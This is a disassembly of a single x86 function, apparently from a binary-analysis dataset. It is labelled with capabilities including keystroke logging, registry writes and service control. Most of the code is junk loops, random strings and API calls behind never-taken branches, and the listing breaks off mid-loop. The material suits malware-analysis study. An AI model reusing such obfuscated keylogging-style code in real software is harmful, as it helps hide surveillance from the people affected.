Function at 0x10027abb
Capabilities:
Enumerate gui resources
Get file size
Identify system language via api
Log keystrokes
Query service status
Set registry value
Start service

Disassembly:
mov eax, 0x10062063
call fcn.10060f20
sub esp, 0x230
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x76820624
push esi
push edi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x24], ebx
jmp 0x10027b03
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x10027b00
push ebx
call dword [sym.imp.USER32.dll_SetCursor]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x11
jle 0x10027af1
xor edi, edi
mov dword [ebp - 0x24], ebx
inc edi
cmp dword [ebp - 0x24], 3
jl 0x10027bbb
push edi
lea ecx, [ebp - 0xd4]
call fcn.100021e9
mov dword [ebp - 0x20], 0x307b5ca9
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10027b47
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd4]
mov dword [eax + ecx*4], 0x2961
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10027b34
mov dword [ebp - 0x20], ebx
jmp 0x10027ba3
mov dword [ebp - 0x28], 0x7b80be39
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x28], ebx
jmp 0x10027b9b
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0xd4]
neg eax
cmp eax, dword [edx + esi*4]
setge cl
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ecx + eax*4]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10027b64
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10027b51
lea ecx, [ebp - 0xd4]
call fcn.10002246
inc dword [ebp - 0x24]
jmp 0x10027b0f
mov dword [ebp - 0x3c], 0x1dcc
cmp dword [ebp - 0x3c], 0x216d
jle 0x10027c2a
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x38], ebx
mov eax, esi
cdq
idiv ecx
lea ecx, [ebp - 0x20c]
mov eax, edx
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10027bf1
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x20c]
call fcn.10014850
mov ecx, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x4fc4
jl 0x10027bd2
inc esi
cmp esi, 0x2e8d
jl 0x10027bcd
push 0xc25
push 0x7a
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp dword [ebp - 0x3c], 0x1c0e
jge 0x10027c3e
push str.ted_sgwb_smuvcfrbq_gaqizf_zrvrzk_zxcm_lhie_lrqgtdhx_slfwjk
call fcn.1004a753
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xec]
push 2
call fcn.100021e9
push 2
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], ebx
pop edx
jmp 0x10027c6d
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xec]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10027c5e
mov dword [ebp - 0x20], ebx
jmp 0x10027c88
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa4], 0x4288a137
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10027c77
mov dword [ebp - 0x20], ebx
jmp 0x10027ca3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xac], 0x9cb6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10027c92
mov edx, dword [ebp - 0xec]
mov eax, dword [edx + 4]
mov dword [ebp - 0xa0], eax
add eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
je 0x10027cd6
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xac]
xor ecx, ecx
cmp dword [edx + 4], eax
setge cl
imul edx, ecx, 0xfffffff6
mov ecx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
sub eax, ecx
cmp eax, edx
je 0x10027d3b
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x10027d0c
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
mov dword [ebp - 0x24], ebx
jmp 0x10027d33
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x10027d30
push ebx
push 0x188
push ebx
push 0x574
push 0x445
call dword [sym.imp.GDI32.dll_ExtCreatePen]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 8
jne 0x10027d11
jmp 0x10027d78
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x10027d58
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x10027d53
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
dec dword [ebp - 0x24]
jns 0x10027d43
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], bl
je 0x10027d78
push 0x2683
push ebx
push 0x1073
push 0x2593
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea ecx, [ebp - 0xec]
call fcn.10002246
push 2
lea ecx, [ebp - 0xc8]
call fcn.100021e9
push 2
pop edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x30], 0xbb0f55f5
mov dword [ebp - 0x18], 0xa280505b
mov dword [ebp - 0x38], 0xe72b4cd9
mov dword [ebp - 0x38], 0xdda3982a
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
jmp 0x10027dd4
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc8]
mov dword [eax + ecx*4], 0x13dd33a4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x10027dc1
mov dword [ebp - 0x20], ebx
jmp 0x10027dec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x48], 0x278b7212
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10027dde
mov dword [ebp - 0x20], ebx
jmp 0x10027e07
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1e4], 0xb43b78c3
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10027df6
mov dword [ebp - 0x2c], 0x452f
cmp dword [ebp - 0x2c], 0x4633
jle 0x10027e60
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov eax, esi
mov dword [ebp - 0x38], 0x2929
mov dword [ebp - 0x3c], eax
mov esi, ebx
or eax, esi
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
mov eax, dword [ebp - 0x3c]
inc esi
cmp esi, 0x6c
jl 0x10027e30
dec eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
jne 0x10027e2e
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x2032
jl 0x10027e22
mov eax, dword [ebp - 0xc8]
mov byte [ebp - 4], 3
cmp dword [ebp - 0x2c], 0x4257
mov dword [eax + 4], ebx
jge 0x10027ea6
mov edx, str.pcg_qmbt_erbsggx_sgt_efcwxro_jjsjv_mwvzdh_cbtjcojd_jyrhnnyrd_skfrktuuh_ikdmhixzw_fkzeihgcu_mzfismk
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x10027ea6
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x30], ebx
jne 0x10027ec4
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x10027ec6
mov ecx, edi
mov eax, dword [ebp - 0xc8]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, edi
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0xc8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, dword [esi + 4]
setge cl
mov dword [ebp - 0x1e4], ecx
mov eax, dword [ebp - 0x48]
mov edx, dword [esi + 4]
xor eax, eax
test edx, edx
setne al
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, 0x71eb
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setne al
xor edx, edx
imul ecx, eax, 0x5619
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
mov ecx, 0xa11ad519
setg dl
sub edx, 0x491
neg edx
sbb edx, edx
inc edx
mov dword [esi + 4], edx
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov ecx, 0xacb588f4
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x48]
cmp eax, ecx
mov eax, 0xf90bf567
setge dl
cmp eax, edx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 2
mov eax, dword [ebp - 0x48]
setne dl
xor ecx, ecx
sub edx, 3
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xc8]
or dword [ebp - 4], 0xffffffff
call fcn.10002246
mov dword [ebp - 0x78], 0x4a012000
push 0x47
pop eax
mov dword [ebp - 0x74], 0xe052503
mov dword [ebp - 0x70], 0xe040302
mov dword [ebp - 0x6c], 0x30060d01
mov word [ebp - 0x10c], ax
mov dword [ebp - 0x34], 0x993
cmp dword [ebp - 0x34], 0xce7
jle 0x10028048
mov esi, ebx
xor edi, edi
mov dword [ebp - 0x18], esi
inc edi
mov eax, esi
mov dword [ebp - 0x38], 0x14bd
mov dword [ebp - 0x3c], eax
mov esi, ebx
or eax, esi
lea ecx, [ebp - 0x224]
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028010
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x224]
call fcn.10014850
mov eax, dword [ebp - 0x3c]
inc esi
cmp esi, 0x1c00
jl 0x10027ff6
dec eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
jne 0x10027ff4
mov esi, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0xfb5
jl 0x10027fe8
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x3c], 0x901516ea
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x40], 0x9c2d
mov dword [ebp - 0x44], 0xfffa
mov dword [ebp - 0x18], ebx
jmp 0x10028081
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0x41b3c692
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10028070
mov dword [ebp - 0x20], 0x493d
cmp dword [ebp - 0x20], 0x4adf
jle 0x10028103
push ebx
push 0x305
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], 0x6bd
mov esi, ebx
mov dword [ebp - 0x38], 0x2c01
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
inc edi
cmp edi, 0x6dee
jl 0x100280bc
mov eax, dword [ebp - 0x18]
add esi, eax
dec dword [ebp - 0x38]
jne 0x100280ba
mov esi, dword [ebp - 0x28]
add eax, esi
dec dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
jne 0x100280b1
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x112a
jl 0x100280a7
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], ebx
jl 0x100281bd
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x30], 0xfffffffd
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x8c], ebx
je 0x10028189
mov dword [ebp - 0x38], 0xacf25792
mov dword [ebp - 0x18], 0xa652065c
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], ebx
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
neg ecx
cmp ecx, eax
setne bl
xor edx, edx
add ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x8c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x18], ecx
jmp 0x100281ae
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], ebx
jmp 0x100281a8
mov dword [ebp - 0x18], 1
inc dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x10028195
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], ebx
dec dword [ebp - 0x24]
jns 0x10028113
mov dword [ebp - 4], 5
cmp dword [ebp - 0x20], 0x47e9
jge 0x100281fa
mov edx, str.xkertfnx_cqjfs_ytkkwfon_xgzm_nrzpyfa_ijy_lyxtsscds
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x100281fa
mov eax, dword [ebp - 0x4c]
xor esi, esi
inc esi
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x8c]
inc edx
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
add ecx, 0x31381660
neg edx
add eax, edx
add eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x34], 0x88e
jge 0x10028262
push str.wygoews_uiyo_xvh_bujekzw_wcgujydl_gqisr_cnkzyvie_pucym
call fcn.1004a753
pop ecx
or dword [ebp - 4], 0xffffffff
push 2
pop edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], edi
cmp edi, 0x10
jae 0x100285f2
mov dword [ebp - 0x4c], 0x67f3
cmp dword [ebp - 0x4c], 0x68d3
jle 0x100282e1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov edi, ebx
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x23c]
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100282b3
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x23c]
call fcn.10014850
mov eax, dword [ebp - 0x3c]
inc edi
cmp edi, 0x6e93
jl 0x10028297
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x105
jl 0x10028295
mov edi, dword [ebp - 0x34]
push 2
lea ecx, [ebp - 0xe0]
call fcn.100021e9
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], 0x2263126f
push 3
call fcn.100021e9
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x40], 0x4b79a97a
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x20], ebx
jmp 0x10028349
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
mov dword [eax + ecx*4], 0x42eb90da
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10028336
mov dword [ebp - 0x20], ebx
jmp 0x10028362
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x54], 0x9aed23b6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10028354
mov dword [ebp - 0x20], ebx
jmp 0x1002837b
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x158]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002836c
mov dword [ebp - 0x20], ebx
jmp 0x10028397
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1f4], 0x1ca72764
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10028386
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x54], ebx
jne 0x10028445
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x44], ecx
cmp dword [ecx + 4], 0xbf7c
jl 0x100283c7
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
xor edx, edx
cmp eax, 0x1ebc
mov eax, dword [ebp - 0x54]
setne dl
sub edx, dword [ecx + 4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov edx, dword [ebp - 0x44]
setge cl
xor eax, eax
cmp ecx, 0xe01afec1
mov ecx, dword [ebp - 0x3c]
setne al
imul ecx, eax
mov eax, dword [ebp - 0x54]
neg ecx
sbb ecx, ecx
neg ecx
lea eax, [ecx + 1]
xor ecx, ecx
cmp eax, dword [edx + 4]
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x34]
dec dword [eax + 4]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x54], ecx
mov eax, dword [eax]
imul eax, ecx
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x2c]
cmp dword [edx + 4], 0xd7e3c239
mov edx, ebx
je 0x10028447
mov edx, esi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x2c]
je 0x10028460
mov eax, esi
cmp dword [ebp - 0xf4], ebx
jne 0x10028462
mov eax, ebx
mov dword [ebp - 0x1e8], eax
lea ecx, [ebp - 0x158]
call fcn.10002246
lea ecx, [ebp - 0xe0]
call fcn.10002246
cmp dword [ebp - 0x4c], 0x67e4
jge 0x10028492
push str.xqntiazzb_diwoznfg_elddal_bahhidzgg_bjpfrf_hzinwuxf_nqrusxmu_wlfrfyes
call fcn.1004a753
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0x78]
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x100284b8
movzx eax, byte [ebp + edi - 0x78]
dec edi
add edi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x28], ecx
jmp 0x100285ea
mov dword [ebp - 0x30], 0xc70c
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0x849f845d
push 4
call fcn.100021e9
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x100284f9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbc]
mov dword [eax + ecx*4], 0x8bd85027
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100284e6
mov eax, dword [ebp - 0x30]
mov edx, 0xedca8fec
sub edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
cmp ecx, 0xd089
jg 0x10028520
cmp dword [ebp - 0x24], ebx
jne 0x10028523
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setge dl
mov dword [ebp - 0x18], edx
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xbc]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ecx]
cmp eax, dword [ecx + 8]
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
cmp ecx, 0x9305
mov ecx, esi
setle dl
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbc]
mov dword [eax + 4], edx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
lea ecx, [ebp - 0xbc]
setg dl
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x18], edx
call fcn.10002246
movzx edx, byte [ebp + edi - 0x77]
mov eax, edi
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], ebx
movzx eax, byte [ebp + eax - 0x7a]
movzx ecx, word [ebp + eax*2 - 0x10c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x78]
add ecx, edx
mov word [ebp + eax*2 - 0x10c], cx
add edi, 2
jmp 0x1002826c
xor eax, eax
lea ecx, [ebp - 0x14c]
mov word [ebp - 0xfe], ax
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0x8ade19d2
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x44], 0xf37d45db
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
push esi
call fcn.100021e9
mov dword [ebp - 0x18], ebx
jmp 0x1002864b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002863c
mov eax, dword [ebp - 0x14c]
dec dword [eax]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1002866e
push ebx
push 0x1c02
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
lea ecx, [ebp - 0x14c]
call fcn.10002246
xor eax, eax
mov dword [ebp - 0x17c], 7
mov word [ebp - 0x190], ax
lea ecx, [ebp - 0x190]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x180], ebx
push eax
call fcn.10023986
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x34], 0xccc89593
push esi
call fcn.100021e9
mov dword [ebp - 0x18], ebx
jmp 0x100286e0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100286cd
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setl dl
cmp dword [ebp - 0x2c], edx
jle 0x1002870e
imul eax, dword [ebp - 0x2c], 0xa5b7
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x2c]
test eax, eax
mov eax, ebx
je 0x10028710
mov eax, esi
mov dword [ebp - 0x34], eax
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x164]
setl cl
mov dword [eax], ecx
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1002874c
push esi
push 0xf97
push 0x3c8
call dword [sym.imp.USER32.dll_AttachThreadInput]
lea ecx, [ebp - 0x164]
call fcn.10002246
push dword [ebp - 0xb0]
xor eax, eax
lea edi, [ebp - 0x10c]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x1d4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10013e1f
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x44], 0x2bea
push 2
call fcn.100021e9
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x40], 0x156d
cmp dword [ebp - 0x40], 0x16b1
jle 0x100287de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
sar eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x20d
jl 0x100287ad
inc edi
cmp edi, 0x6a6b
jl 0x100287a8
push ebx
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x18], ebx
jmp 0x100287f6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100287e3
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x40], 0x13f7
jge 0x10028839
mov edx, str.dma_ahfdpijwj_bzh_etdmgc_ipbleyle
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x10028839
mov dword [ebp - 4], 0xe
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10028859
push ebx
push ebx
push 0x20f
push ebx
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x170]
mov byte [ebp - 4], 0xd
mov dword [eax], ecx
lea ecx, [ebp - 0x170]
call fcn.10002246
mov dword [ebp - 0x40], 0x19ac
cmp dword [ebp - 0x40], 0x1b34
jle 0x100288bc
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
cdq
idiv ecx
mov ecx, 0x1007cc18
mov eax, edx
cdq
push edx
push eax
call fcn.10013d0a
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x24c4
jl 0x10028890
inc edi
cmp edi, 0x4e36
jl 0x1002888b
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x40], 0x15fd
jge 0x100288f9
mov edx, str.srzgdz_mdc_nns_ytvb_xhvsic_vpzz_hiws_yqo_zlzxtk_zmlkf_sywdpi_vgiyp
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x100288f9
push 0x5c
pop eax
mov dword [ebp - 4], 0xd
mov ecx, ebx
push 2
mov dword [ebp - 0x60], 0xb7036e00
mov word [ebp - 0x5c], 0x2cee
mov word [ebp - 0x50], ax
pop edi
cmp edi, 2
jne 0x10028925
push 4
pop ecx
push ecx
pop edi
jmp 0x1002894e
movzx edx, byte [ebp + edi - 0x5f]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x62]
movzx ecx, word [ebp + eax*2 - 0x50]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x60]
add ecx, edx
mov word [ebp + eax*2 - 0x50], cx
mov ecx, ebx
add edi, 2
cmp edi, 6
jb 0x10028919
xor eax, eax
mov word [ebp - 0x4e], ax
mov dword [ebp - 0x30], 0x9e57ad95
mov dword [ebp - 0x18], ebx
jmp 0x10028979
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x174], 0x4e2db58
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10028968
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1002898e
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], ebx
jl 0x100289dd
push 2
lea ecx, [ebp - 0x140]
call fcn.100021e9
mov dword [ebp - 0x18], ebx
jmp 0x100289bb
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0xfffffff7
